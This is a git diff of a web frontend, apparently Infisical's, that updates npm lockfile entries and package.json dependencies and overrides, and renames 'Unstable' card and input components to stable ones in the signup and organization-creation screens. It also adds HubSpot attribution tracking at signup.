       "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz",
@@ -16467,6 +15804,7 @@
       "version": "1.2.2",
       "resolved": "https://registry.npmjs.org/to-buffer/-/to-buffer-1.2.2.tgz",
       "integrity": "sha512-db0E3UJjcFhpDhAF4tLo03oli3pwl3dbnzXOUIlRKrp+ldk/VUxzpWYZENsw2SZiuBjHAk7DfB0VU7NKdpb6sw==",
+      "dev": true,
       "license": "MIT",
       "dependencies": {
         "isarray": "^2.0.5",
@@ -16632,18 +15970,6 @@
         "url": "https://github.com/sponsors/Wombosvideo"
       }
     },
-    "node_modules/tweetnacl": {
-      "version": "1.0.3",
-      "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-1.0.3.tgz",
-      "integrity": "sha512-6rt+RN7aOi1nGMyC4Xa5DdYiukl2UWCbcJft7YhxReBGQD7OAM8Pbxw6YMo4r2diNEA8FEmu32YOn9rhaiE5yw==",
-      "license": "Unlicense"
-    },
-    "node_modules/tweetnacl-util": {
-      "version": "0.15.1",
-      "resolved": "https://registry.npmjs.org/tweetnacl-util/-/tweetnacl-util-0.15.1.tgz",
-      "integrity": "sha512-RKJBIj8lySrShN4w6i/BonWp2Z/uxwC3h4y7xsRrpP59ZboCd0GpEVsOnMDYLMmKBpYhb5TgHzZXy7wTfYFBRw==",
-      "license": "Unlicense"
-    },
     "node_modules/type-check": {
       "version": "0.4.0",
       "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz",
@@ -16674,6 +16000,7 @@
       "version": "1.0.3",
       "resolved": "https://registry.npmjs.org/typed-array-buffer/-/typed-array-buffer-1.0.3.tgz",
       "integrity": "sha512-nAYYwfY3qnzX30IkA6AQZjVbtK6duGontcQm1WSG1MD94YLqK0515GNApXkoxKOWMusVssAHWLh9SeaoefYFGw==",
+      "dev": true,
       "license": "MIT",
       "dependencies": {
         "call-bound": "^1.0.3",
@@ -16900,12 +16227,6 @@
         "url": "https://opencollective.com/unified"
       }
     },
-    "node_modules/universal-user-agent": {
-      "version": "7.0.2",
-      "resolved": "https://registry.npmjs.org/universal-user-agent/-/universal-user-agent-7.0.2.tgz",
-      "integrity": "sha512-0JCqzSKnStlRRQfCdowvqy3cy0Dvtlb8xecj/H8JFZuCze4rwjPZQOgvFvn0Ws/usCHQFGpyr+pB9adaGwXn4Q==",
-      "license": "ISC"
-    },
     "node_modules/unplugin": {
       "version": "1.16.0",
       "resolved": "https://registry.npmjs.org/unplugin/-/unplugin-1.16.0.tgz",
@@ -17040,9 +16361,9 @@
       }
     },
     "node_modules/use-sync-external-store": {
-      "version": "1.4.0",
-      "resolved": "https://registry.npmjs.org/use-sync-external-store/-/use-sync-external-store-1.4.0.tgz",
-      "integrity": "sha512-9WXSPC5fMv61vaupRkCKCxsPxBocVnwakBEkMIHHpkTTg6icbJtg6jzgtLDm4bl3cSHAca52rYWih0k4K3PfHw==",
+      "version": "1.6.0",
+      "resolved": "https://registry.npmjs.org/use-sync-external-store/-/use-sync-external-store-1.6.0.tgz",
+      "integrity": "sha512-Pp6GSwGP/NrPIrxVFAIkOQeyw8lFenOHijQWkUTrDvrF4ALqylP2C/KCkeS9dpUM3KvYRQhna5vt7IL95+ZQ9w==",
       "license": "MIT",
       "peerDependencies": {
         "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0"
@@ -17066,18 +16387,9 @@
       "version": "1.0.2",
       "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz",
       "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==",
+      "dev": true,
       "license": "MIT"
     },
-    "node_modules/utrie": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/utrie/-/utrie-1.0.2.tgz",
-      "integrity": "sha512-1MLa5ouZiOmQzUbjbu9VmjLzn1QLXBhwpUa7kdLUQK+KQ5KA9I1vk5U4YHe/X2Ch7PYnJfWuWT+VbuxbGwljhw==",
-      "license": "MIT",
-      "optional": true,
-      "dependencies": {
-        "base64-arraybuffer": "^1.0.2"
-      }
-    },
     "node_modules/uuid": {
       "version": "10.0.0",
       "resolved": "https://registry.npmjs.org/uuid/-/uuid-10.0.0.tgz",
@@ -17131,10 +16443,32 @@
         "url": "https://opencollective.com/unified"
       }
     },
+    "node_modules/victory-vendor": {
+      "version": "37.3.6",
+      "resolved": "https://registry.npmjs.org/victory-vendor/-/victory-vendor-37.3.6.tgz",
+      "integrity": "sha512-SbPDPdDBYp+5MJHhBCAyI7wKM3d5ivekigc2Dk2s7pgbZ9wIgIBYGVw4zGHBml/qTFbexrofXW6Gu4noGxrOwQ==",
+      "license": "MIT AND ISC",
+      "dependencies": {
+        "@types/d3-array": "^3.0.3",
+        "@types/d3-ease": "^3.0.0",
+        "@types/d3-interpolate": "^3.0.1",
+        "@types/d3-scale": "^4.0.2",
+        "@types/d3-shape": "^3.1.0",
+        "@types/d3-time": "^3.0.0",
+        "@types/d3-timer": "^3.0.0",
+        "d3-array": "^3.1.6",
+        "d3-ease": "^3.0.1",
+        "d3-interpolate": "^3.0.1",
+        "d3-scale": "^4.0.2",
+        "d3-shape": "^3.1.0",
+        "d3-time": "^3.0.0",
+        "d3-timer": "^3.0.1"
+      }
+    },
     "node_modules/vite": {
-      "version": "6.4.1",
-      "resolved": "https://registry.npmjs.org/vite/-/vite-6.4.1.tgz",
-      "integrity": "sha512-+Oxm7q9hDoLMyJOYfUYBuHQo+dkAloi33apOPP56pzj+vsdJDzr+j1NISE5pyaAuKL4A3UD34qd0lx5+kfKp2g==",
+      "version": "6.4.2",
+      "resolved": "https://registry.npmjs.org/vite/-/vite-6.4.2.tgz",
+      "integrity": "sha512-2N/55r4JDJ4gdrCvGgINMy+HH3iRpNIz8K6SFwVsA+JbQScLiC+clmAxBgwiSPgcG9U15QmvqCGWzMbqda5zGQ==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
@@ -17420,6 +16754,7 @@
       "version": "1.1.16",
       "resolved": "https://registry.npmjs.org/which-typed-array/-/which-typed-array-1.1.16.tgz",
       "integrity": "sha512-g+N+GAWiRj66DngFwHvISJd+ITsyphZvD1vChfVg6cEdnzy53GzB3oy0fUNlvhz7H7+MiqhYr26qxQShCpKTTQ==",
+      "dev": true,
       "license": "MIT",
       "dependencies": {
         "available-typed-arrays": "^1.0.7",
@@ -17531,13 +16866,13 @@
       }
     },
     "node_modules/wrap-ansi/node_modules/strip-ansi": {
-      "version": "7.1.2",
-      "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.2.tgz",
-      "integrity": "sha512-gmBGslpoQJtgnMAvOVqGZpEz9dyoKTCzy2nfz/n8aIFhN/jCE/rCmcxabB6jOOHV+0WNnylOxaxBQPSvcWklhA==",
+      "version": "7.2.0",
+      "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.2.0.tgz",
+      "integrity": "sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "ansi-regex": "^6.0.1"
+        "ansi-regex": "^6.2.2"
       },
       "engines": {
         "node": ">=12"
@@ -17632,15 +16967,18 @@
       "license": "ISC"
     },
     "node_modules/yaml": {
-      "version": "2.6.1",
-      "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.6.1.tgz",
-      "integrity": "sha512-7r0XPzioN/Q9kXBro/XPnA6kznR73DHq+GXh5ON7ZozRO6aMjbmiBuKste2wslTFkC5d1dw0GooOCepZXJ2SAg==",
+      "version": "2.8.3",
+      "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.8.3.tgz",
+      "integrity": "sha512-AvbaCLOO2Otw/lW5bmh9d/WEdcDFdQp2Z2ZUH3pX9U2ihyUY0nvLv7J6TrWowklRGPYbB/IuIMfYgxaCPg5Bpg==",
       "license": "ISC",
       "bin": {
         "yaml": "bin.mjs"
       },
       "engines": {
-        "node": ">= 14"
+        "node": ">= 14.6"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/eemeli"
       }
     },
     "node_modules/yargs": {
diff --git a/frontend/package.json b/frontend/package.json
index fc3a5db9387..503b93165a1 100644
--- a/frontend/package.json
+++ b/frontend/package.json
@@ -17,10 +17,26 @@
     "build-storybook": "storybook build"
   },
   "overrides": {
-    "sha.js": "2.4.12"
+    "sha.js": "2.4.12",
+    "flatted": "^3.4.2",
+    "rollup": "^4.59.0",
+    "qs": "^6.14.2",
+    "mdast-util-to-hast": "^13.2.1",
+    "js-yaml": "^4.1.1",
+    "storybook": "^9.1.19",
+    "tar": ">=7.5.11",
+    "chokidar": {
+      "picomatch": "^2.3.2"
+    },
+    "fast-glob": {
+      "picomatch": "^2.3.2"
+    },
+    "cosmiconfig": {
+      "yaml": "^1.10.3"
+    }
   },
   "dependencies": {
-    "@casl/ability": "^6.7.2",
+    "@casl/ability": "^6.7.5",
     "@casl/react": "^4.0.0",
     "@codemirror/commands": "^6.10.3",
     "@codemirror/lang-sql": "^6.10.0",
@@ -45,29 +61,23 @@
     "@lezer/highlight": "^1.2.3",
     "@lottiefiles/dotlottie-react": "^0.12.0",
     "@lottiefiles/dotlottie-web": "^0.38.2",
-    "@octokit/rest": "^21.0.2",
     "@peculiar/x509": "^1.12.3",
     "@radix-ui/react-accordion": "^1.2.2",
     "@radix-ui/react-alert-dialog": "^1.1.3",
     "@radix-ui/react-checkbox": "^1.1.3",
     "@radix-ui/react-collapsible": "^1.1.2",
-    "@radix-ui/react-context-menu": "^2.2.16",
     "@radix-ui/react-dialog": "^1.1.3",
     "@radix-ui/react-direction": "^1.1.1",
     "@radix-ui/react-dropdown-menu": "^2.1.3",
     "@radix-ui/react-hover-card": "^1.1.3",
     "@radix-ui/react-label": "^2.1.1",
     "@radix-ui/react-popover": "^1.1.3",
-    "@radix-ui/react-popper": "^1.2.1",
-    "@radix-ui/react-progress": "^1.1.1",
     "@radix-ui/react-radio-group": "^1.2.2",
-    "@radix-ui/react-scroll-area": "^1.2.10",
     "@radix-ui/react-select": "^2.1.3",
     "@radix-ui/react-separator": "^1.1.8",
     "@radix-ui/react-slot": "^1.2.3",
     "@radix-ui/react-switch": "^1.1.2",
     "@radix-ui/react-tabs": "^1.1.2",
-    "@radix-ui/react-toast": "^1.2.3",
     "@radix-ui/react-tooltip": "^1.1.5",
     "@simplewebauthn/browser": "^13.2.2",
     "@sindresorhus/slugify": "^2.2.1",
@@ -84,9 +94,7 @@
     "@xterm/addon-web-links": "^0.12.0",
     "@xterm/xterm": "^5.5.0",
     "@xyflow/react": "^12.4.4",
-    "argon2-browser": "^1.18.0",
-    "axios": "^1.12.0",
-    "classnames": "^2.5.1",
+    "axios": "^1.15.0",
     "clsx": "^2.1.1",
     "cmdk": "^1.1.1",
     "cva": "npm:class-variance-authority@^0.7.1",
@@ -96,21 +104,19 @@
     "file-saver": "^2.0.5",
     "framer-motion": "^11.14.1",
     "i18next": "^24.1.0",
-    "i18next-browser-languagedetector": "^8.0.2",
     "i18next-http-backend": "^3.0.1",
-    "jspdf": "^3.0.2",
-    "jsrp": "^0.2.4",
     "jwt-decode": "^4.0.0",
     "lexical": "^0.29.0",
     "lucide-react": "^0.544.0",
     "ms": "^2.1.3",
     "nprogress": "^0.2.0",
-    "picomatch": "^4.0.2",
+    "picomatch": "^4.0.4",
     "posthog-js": "^1.360.1",
     "qrcode": "^1.5.4",
     "randexp": "^0.5.3",
     "react": "^18.3.1",
     "react-code-input": "^3.10.1",
+    "react-colorful": "^5.6.1",
     "react-complex-tree": "^2.6.1",
     "react-day-picker": "^9.13.0",
     "react-dom": "^18.3.1",
@@ -121,14 +127,12 @@
     "react-markdown": "^10.0.1",
     "react-select": "^5.9.0",
     "react-toastify": "^10.0.6",
-    "redaxios": "^0.5.1",
+    "recharts": "^3.8.1",
     "rehype-raw": "^7.0.0",
     "sonner": "^2.0.7",
     "tailwind-merge": "^2.5.5",
-    "tweetnacl": "^1.0.3",
-    "tweetnacl-util": "^0.15.1",
     "xterm-readline": "^1.1.2",
-    "yaml": "^2.6.1",
+    "yaml": "^2.8.3",
     "zod": "^3.24.1",
     "zustand": "^5.0.2"
   },
@@ -141,13 +145,9 @@
     "@storybook/react-vite": "^9.1.9",
     "@stylistic/eslint-plugin": "^2.12.1",
     "@tailwindcss/postcss": "^4.1.14",
-    "@tailwindcss/typography": "^0.5.15",
     "@tanstack/eslint-plugin-router": "^1.87.6",
-    "@tanstack/router-devtools": "^1.87.9",
     "@tanstack/router-plugin": "^1.95.1",
-    "@types/argon2-browser": "^1.18.4",
     "@types/file-saver": "^2.0.7",
-    "@types/jsrp": "^0.2.6",
     "@types/ms": "^0.7.34",
     "@types/picomatch": "^3.0.1",
     "@types/qrcode": "^1.5.5",
@@ -173,7 +173,7 @@
     "tw-animate-css": "^1.4.0",
     "typescript": "~5.6.2",
     "typescript-eslint": "^8.15.0",
-    "vite": "^6.2.0",
+    "vite": "^6.4.2",
     "vite-plugin-node-polyfills": "^0.23.0",
     "vite-plugin-top-level-await": "^1.4.4",
     "vite-plugin-wasm": "^3.4.0",
diff --git a/frontend/public/images/integrations/DigiCert.png b/frontend/public/images/integrations/DigiCert.png
new file mode 100644
index 00000000000..442fe60bae4
Binary files /dev/null and b/frontend/public/images/integrations/DigiCert.png differ
diff --git a/frontend/public/images/integrations/Doppler.png b/frontend/public/images/integrations/Doppler.png
new file mode 100644
index 00000000000..69028e2c525
Binary files /dev/null and b/frontend/public/images/integrations/Doppler.png differ
diff --git a/frontend/public/images/integrations/Ona.png b/frontend/public/images/integrations/Ona.png
new file mode 100644
index 00000000000..15eabac70b0
Binary files /dev/null and b/frontend/public/images/integrations/Ona.png differ
diff --git a/frontend/src/components/app-connections/AppConnectionOption.tsx b/frontend/src/components/app-connections/AppConnectionOption.tsx
index 793f9d821be..8dd3c862145 100644
--- a/frontend/src/components/app-connections/AppConnectionOption.tsx
+++ b/frontend/src/components/app-connections/AppConnectionOption.tsx
@@ -21,7 +21,7 @@ export const AppConnectionOption = ({
     <components.Option isSelected={isSelected} {...props}>
       <div className="flex flex-row items-center justify-between">
         {isCreateOption ? (
-          <div className="flex items-center gap-x-1 text-mineshaft-400">
+          <div className="flex items-center gap-x-1 text-mineshaft-200">
             <FontAwesomeIcon icon={faPlus} size="sm" />
             <span className="mr-auto">Create New Connection</span>
           </div>
diff --git a/frontend/src/components/auth/CodeInputStep.tsx b/frontend/src/components/auth/CodeInputStep.tsx
index ef9531cc767..5352e2bc24b 100644
--- a/frontend/src/components/auth/CodeInputStep.tsx
+++ b/frontend/src/components/auth/CodeInputStep.tsx
@@ -4,14 +4,7 @@ import ReactCodeInput from "react-code-input";
 import { useTranslation } from "react-i18next";
 import { Link } from "@tanstack/react-router";
 
-import {
-  Button,
-  FieldError,
-  UnstableCard,
-  UnstableCardContent,
-  UnstableCardHeader,
-  UnstableCardTitle
-} from "@app/components/v3";
+import { Button, Card, CardContent, CardHeader, CardTitle, FieldError } from "@app/components/v3";
 import { useSendVerificationEmail, useVerifySignupEmailVerificationCode } from "@app/hooks/api";
 
 import SecurityClient from "../utilities/SecurityClient";
@@ -77,13 +70,13 @@ export default function CodeInputStep({ email, onComplete }: CodeInputStepProps)
 
   return (
     <div className="mx-auto flex w-full flex-col items-center justify-center">
-      <UnstableCard className="mx-auto w-full max-w-md items-stretch gap-0 p-6">
-        <UnstableCardHeader className="mb-2 gap-2">
-          <UnstableCardTitle className="bg-linear-to-b from-white to-bunker-200 bg-clip-text text-center text-[1.55rem] font-medium text-transparent">
+      <Card className="mx-auto w-full max-w-md items-stretch gap-0 p-6">
+        <CardHeader className="mb-2 gap-2">
+          <CardTitle className="bg-linear-to-b from-white to-bunker-200 bg-clip-text text-center text-[1.55rem] font-medium text-transparent">
             {t("signup.step2-message")}
-          </UnstableCardTitle>
-        </UnstableCardHeader>
-        <UnstableCardContent>
+          </CardTitle>
+        </CardHeader>
+        <CardContent>
           <p className="text-md my-1 flex justify-center font-medium text-foreground">{email}</p>
           <div className="mx-auto hidden w-max min-w-[20rem] md:block">
             <ReactCodeInput
@@ -139,8 +132,8 @@ export default function CodeInputStep({ email, onComplete }: CodeInputStepProps)
               Have an account? Log in
             </Link>
           </div>
-        </UnstableCardContent>
-      </UnstableCard>
+        </CardContent>
+      </Card>
     </div>
   );
 }
diff --git a/frontend/src/components/auth/EnterEmailStep.tsx b/frontend/src/components/auth/EnterEmailStep.tsx
index d523ad02ca0..732bfdbfbba 100644
--- a/frontend/src/components/auth/EnterEmailStep.tsx
+++ b/frontend/src/components/auth/EnterEmailStep.tsx
@@ -5,12 +5,12 @@ import { z } from "zod";
 
 import {
   Button,
+  Card,
+  CardContent,
+  CardHeader,
+  CardTitle,
   FieldError,
-  UnstableCard,
-  UnstableCardContent,
-  UnstableCardHeader,
-  UnstableCardTitle,
-  UnstableInput
+  Input
 } from "@app/components/v3";
 import { useSendVerificationEmail } from "@app/hooks/api";
 
@@ -61,15 +61,15 @@ export default function EnterEmailStep({
 
   return (
     <div className="mx-auto flex w-full flex-col items-center justify-center">
-      <UnstableCard className="mx-auto w-full max-w-sm items-stretch gap-0 p-6">
-        <UnstableCardHeader className="mb-4 gap-4">
-          <UnstableCardTitle className="ml-0.5 bg-linear-to-b from-white to-bunker-200 bg-clip-text text-[1.65rem] font-medium text-transparent">
+      <Card className="mx-auto w-full max-w-sm items-stretch gap-0 p-6">
+        <CardHeader className="mb-4 gap-4">
+          <CardTitle className="ml-0.5 bg-linear-to-b from-white to-bunker-200 bg-clip-text text-[1.65rem] font-medium text-transparent">
             {t("signup.step1-start")}
-          </UnstableCardTitle>
-        </UnstableCardHeader>
-        <UnstableCardContent>
+          </CardTitle>
+        </CardHeader>
+        <CardContent>
           <div className="w-full">
-            <UnstableInput
+            <Input
               placeholder="Enter your email address..."
               onChange={(e) => setEmail(e.target.value)}
               value={email}
@@ -100,8 +100,8 @@ export default function EnterEmailStep({
               </span>
             </Link>
           </div>
-        </UnstableCardContent>
-      </UnstableCard>
+        </CardContent>
+      </Card>
     </div>
   );
 }
diff --git a/frontend/src/components/auth/InitialSignupStep.tsx b/frontend/src/components/auth/InitialSignupStep.tsx
index 99107caca19..f2b7c3375af 100644
--- a/frontend/src/components/auth/InitialSignupStep.tsx
+++ b/frontend/src/components/auth/InitialSignupStep.tsx
@@ -9,18 +9,19 @@ import { z } from "zod";
 import { RegionSelect } from "@app/components/navigation/RegionSelect";
 import {
   Button,
+  Card,
+  CardAction,
+  CardContent,
+  CardHeader,
+  CardTitle,
   FieldError,
+  Input,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableCard,
-  UnstableCardAction,
-  UnstableCardContent,
-  UnstableCardHeader,
-  UnstableCardTitle,
-  UnstableInput
+  TooltipTrigger
 } from "@app/components/v3";
 import { useServerConfig } from "@app/context";
+import { preserveHubSpotUtk } from "@app/helpers/utmTracking";
 import { useSendVerificationEmail } from "@app/hooks/api";
 import { LoginMethod } from "@app/hooks/api/admin/types";
 
@@ -59,6 +60,7 @@ export default function InitialSignupStep({
   };
 
   const handleSocialSignup = (method: LoginMethod) => {
+    preserveHubSpotUtk();
     const popup = window.open(`/api/v1/sso/redirect/${method}`);
     if (popup) {
       window.close();
@@ -67,20 +69,20 @@ export default function InitialSignupStep({
 
   return (
     <div className="mx-auto flex w-full flex-col items-center justify-center">
-      <UnstableCard className="mx-auto w-full max-w-sm items-stretch gap-0 p-6">
-        <UnstableCardHeader className="mb-4 gap-4">
-          <UnstableCardTitle className="ml-0.5 bg-linear-to-b from-white to-bunker-200 bg-clip-text text-[1.65rem] font-medium text-transparent">
+      <Card className="mx-auto w-full max-w-sm items-stretch gap-0 p-6">
+        <CardHeader className="mb-4 gap-4">
+          <CardTitle className="ml-0.5 bg-linear-to-b from-white to-bunker-200 bg-clip-text text-[1.65rem] font-medium text-transparent">
             {t("signup.initial-title")}
-          </UnstableCardTitle>
-          <UnstableCardAction className="-mr-2">
+          </CardTitle>
+          <CardAction className="-mr-2">
             <RegionSelect compact />
-          </UnstableCardAction>
-        </UnstableCardHeader>
-        <UnstableCardContent>
+          </CardAction>
+        </CardHeader>
+        <CardContent>
           {shouldDisplaySignupMethod(LoginMethod.EMAIL) && (
             <>
               <div className="w-full">
-                <UnstableInput
+                <Input
                   value={email}
                   onChange={(e) => setEmail(e.target.value)}
                   type="email"
@@ -214,8 +216,8 @@ export default function InitialSignupStep({
             </span>
             <CircleChevronRightIcon className="size-4.5 opacity-75" />
           </a>
-        </UnstableCardContent>
-      </UnstableCard>
+        </CardContent>
+      </Card>
     </div>
   );
 }
diff --git a/frontend/src/components/auth/TeamInviteStep.tsx b/frontend/src/components/auth/TeamInviteStep.tsx
index 5bbe7d46b0f..1871e4a3687 100644
--- a/frontend/src/components/auth/TeamInviteStep.tsx
+++ b/frontend/src/components/auth/TeamInviteStep.tsx
@@ -5,12 +5,12 @@ import { z } from "zod";
 
 import {
   Button,
+  Card,
+  CardContent,
+  CardHeader,
+  CardTitle,
   FieldError,
-  TextArea,
-  UnstableCard,
-  UnstableCardContent,
-  UnstableCardHeader,
-  UnstableCardTitle
+  TextArea
 } from "@app/components/v3";
 import { useAddUsersToOrg } from "@app/hooks/api";
 import { useFetchServerStatus } from "@app/hooks/api/serverDetails";
@@ -75,13 +75,13 @@ export default function TeamInviteStep(): JSX.Element {
 
   return (
     <div className="mx-auto flex w-full flex-col items-center justify-center">
-      <UnstableCard className="mx-auto w-full max-w-md items-stretch gap-0 p-6">
-        <UnstableCardHeader className="mb-4 gap-2">
-          <UnstableCardTitle className="bg-linear-to-b from-white to-bunker-200 bg-clip-text text-[1.65rem] font-medium text-transparent">
+      <Card className="mx-auto w-full max-w-md items-stretch gap-0 p-6">
+        <CardHeader className="mb-4 gap-2">
+          <CardTitle className="bg-linear-to-b from-white to-bunker-200 bg-clip-text text-[1.65rem] font-medium text-transparent">
             {t("signup.step5-invite-team")}
-          </UnstableCardTitle>
-        </UnstableCardHeader>
-        <UnstableCardContent className="flex flex-col gap-y-4">
+          </CardTitle>
+        </CardHeader>
+        <CardContent className="flex flex-col gap-y-4">
           <div className="w-full">
             <TextArea
               className="min-h-20"
@@ -119,8 +119,8 @@ export default function TeamInviteStep(): JSX.Element {
           >
             {t("signup.step5-skip") ?? "Skip"}
           </Button>
-        </UnstableCardContent>
-      </UnstableCard>
+        </CardContent>
+      </Card>
       <EmailServiceSetupModal
         isOpen={popUp.setUpEmail?.isOpen}
         onOpenChange={(isOpen) => handlePopUpToggle("setUpEmail", isOpen)}
diff --git a/frontend/src/components/auth/UserInfoStep.tsx b/frontend/src/components/auth/UserInfoStep.tsx
index c02aa68de39..cda3114829b 100644
--- a/frontend/src/components/auth/UserInfoStep.tsx
+++ b/frontend/src/components/auth/UserInfoStep.tsx
@@ -7,20 +7,21 @@ import { z } from "zod";
 
 import {
   Button,
+  Card,
+  CardContent,
+  CardHeader,
+  CardTitle,
   FieldError,
+  IconButton,
+  Input,
   InputGroup,
   InputGroupAddon,
   InputGroupInput,
-  TextArea,
-  UnstableCard,
-  UnstableCardContent,
-  UnstableCardHeader,
-  UnstableCardTitle,
-  UnstableIconButton,
-  UnstableInput
+  TextArea
 } from "@app/components/v3";
 import { isInfisicalCloud } from "@app/helpers/platform";
 import { initProjectHelper } from "@app/helpers/project";
+import { getHubSpotUtk } from "@app/helpers/utmTracking";
 import { useCompleteAccountSignup } from "@app/hooks/api/auth/queries";
 import { fetchOrganizations } from "@app/hooks/api/organization/queries";
 
@@ -130,12 +131,12 @@ export default function UserInfoStep({
       firstName: formData.name.split(" ")[0],
       lastName: formData.name.split(" ").slice(1).join(" "),
       organizationName: formData.organizationName || undefined,
-      attributionSource: formData.attributionSource
+      attributionSource: formData.attributionSource,
+      hubspotUtk: getHubSpotUtk()
     });
 
     SecurityClient.setSignupToken("");
     SecurityClient.setToken(response.token);
-    SecurityClient.setProviderAuthToken("");
 
     if (isInfisicalCloud()) {
       window.dataLayer = window.dataLayer || [];
@@ -162,16 +163,16 @@ export default function UserInfoStep({
 
   return (
     <div className="mx-auto flex w-full flex-col items-center justify-center">
-      <UnstableCard className="mx-auto w-full max-w-sm items-stretch gap-0 p-6">
-        <UnstableCardHeader className="mb-4 gap-2">
-          <UnstableCardTitle className="bg-linear-to-b from-white to-bunker-200 bg-clip-text text-[1.65rem] font-medium text-transparent">
+      <Card className="mx-auto w-full max-w-sm items-stretch gap-0 p-6">
+        <CardHeader className="mb-4 gap-2">
+          <CardTitle className="bg-linear-to-b from-white to-bunker-200 bg-clip-text text-[1.65rem] font-medium text-transparent">
             {isInvite ? "Set up your account" : t("signup.step3-message")}
-          </UnstableCardTitle>
-        </UnstableCardHeader>
-        <UnstableCardContent>
+          </CardTitle>
+        </CardHeader>
+        <CardContent>
           <div className="flex w-full flex-col items-stretch py-2">
             <p className="mb-1 ml-1 text-sm font-medium text-bunker-300">Your Name</p>
-            <UnstableInput
+            <Input
               {...register("name")}
               placeholder="Jane Doe"
               autoComplete="given-name"
@@ -183,7 +184,7 @@ export default function UserInfoStep({
             <>
               <div className="flex w-full flex-col items-stretch py-2">
                 <p className="mb-1 ml-1 text-sm font-medium text-bunker-300">Organization Name</p>
-                <UnstableInput
+                <Input
                   {...register("organizationName")}
                   placeholder="Infisical"
                   maxLength={64}
@@ -219,14 +220,14 @@ export default function UserInfoStep({
                 id="new-password"
               />
               <InputGroupAddon align="inline-end">
-                <UnstableIconButton
+                <IconButton
                   variant="ghost"
                   size="xs"
                   onClick={() => setShowPassword((prev) => !prev)}
                   aria-label={showPassword ? "Hide password" : "Show password"}
                 >
                   {showPassword ? <EyeOff /> : <Eye />}
-                </UnstableIconButton>
+                </IconButton>
               </InputGroupAddon>
             </InputGroup>
             {allIssues.length > 0 && passwordValue.length > 0 && (
@@ -256,8 +257,8 @@ export default function UserInfoStep({
               {String(t("signup.signup"))}
             </Button>
           </div>
-        </UnstableCardContent>
-      </UnstableCard>
+        </CardContent>
+      </Card>
     </div>
   );
 }
diff --git a/frontend/src/components/organization/CreateOrgModal/CreateOrgModal.tsx b/frontend/src/components/organization/CreateOrgModal/CreateOrgModal.tsx
index 4899d21a0e8..e36a42df93e 100644
--- a/frontend/src/components/organization/CreateOrgModal/CreateOrgModal.tsx
+++ b/frontend/src/components/organization/CreateOrgModal/CreateOrgModal.tsx
@@ -15,9 +15,9 @@ import {
   DialogTitle,
   FieldError,
   FieldLabel,
-  UnstableInput
+  Input
 } from "@app/components/v3";
-import { useCreateOrg, useSelectOrganization } from "@app/hooks/api";
+import { useCreateOrg, useLogoutUser, useSelectOrganization } from "@app/hooks/api";
 import { GenericResourceNameSchema } from "@app/lib/schemas";
 
 const schema = z
@@ -31,9 +31,10 @@ export type FormData = z.infer<typeof schema>;
 interface CreateOrgModalProps {
   isOpen: boolean;
   onClose?: () => void;
+  logoutOnClose?: boolean;
 }
 
-export const CreateOrgModal: FC<CreateOrgModalProps> = ({ isOpen, onClose }) => {
+export const CreateOrgModal: FC<CreateOrgModalProps> = ({ isOpen, onClose, logoutOnClose }) => {
   const navigate = useNavigate();
 
   const {
@@ -52,6 +53,7 @@ export const CreateOrgModal: FC<CreateOrgModalProps> = ({ isOpen, onClose }) =>
     invalidate: false
   });
   const { mutateAsync: selectOrg } = useSelectOrganization();
+  const logout = useLogoutUser();
 
   const onFormSubmit = async ({ name }: FormData) => {
     const organization = await createOrg({ name });
@@ -74,16 +76,20 @@ export const CreateOrgModal: FC<CreateOrgModalProps> = ({ isOpen, onClose }) =>
     onClose?.();
   };
 
+  const handleOpenChange = async (open: boolean) => {
+    if (!open) {
+      reset();
+      if (logoutOnClose) {
+        await logout.mutateAsync();
+        navigate({ to: "/login" });
+      } else {
+        onClose?.();
+      }
+    }
+  };
+
   return (
-    <Dialog
-      open={isOpen}
-      onOpenChange={(open) => {
-        if (!open) {
-          reset();
-          onClose?.();
-        }
-      }}
-    >
+    <Dialog open={isOpen} onOpenChange={handleOpenChange}>
       <DialogContent className="max-w-md">
         <DialogHeader>
           <DialogTitle>Create Organization</DialogTitle>
@@ -100,7 +106,7 @@ export const CreateOrgModal: FC<CreateOrgModalProps> = ({ isOpen, onClose }) =>
             render={({ field, fieldState: { error } }) => (
               <div className="mb-4">
                 <FieldLabel>Name</FieldLabel>
-                <UnstableInput {...field} placeholder="Acme Corp" className="h-10" />
+                <Input {...field} placeholder="Acme Corp" className="h-10" />
                 {error && <FieldError>{error.message}</FieldError>}
               </div>
             )}
diff --git a/frontend/src/components/pki-syncs/CreatePkiSyncModal.tsx b/frontend/src/components/pki-syncs/CreatePkiSyncModal.tsx
index 5b38415a51f..71ab6fcaf93 100644
--- a/frontend/src/components/pki-syncs/CreatePkiSyncModal.tsx
+++ b/frontend/src/components/pki-syncs/CreatePkiSyncModal.tsx
@@ -65,7 +65,7 @@ export const CreatePkiSyncModal = ({
           )
         }
         className="max-w-3xl"
-        bodyClassName="overflow-visible"
+        bodyClassName={selectedSync ? "overflow-visible" : undefined}
         subTitle={
           selectedSync ? undefined : "Select a third-party service to sync certificates to."
         }
diff --git a/frontend/src/components/secret-rotations-v2/ViewSecretRotationV2GeneratedCredentials/ViewSecretRotationV2GeneratedCredentials.tsx b/frontend/src/components/secret-rotations-v2/ViewSecretRotationV2GeneratedCredentials/ViewSecretRotationV2GeneratedCredentials.tsx
index 7fa9c7d5a07..7a523c686c3 100644
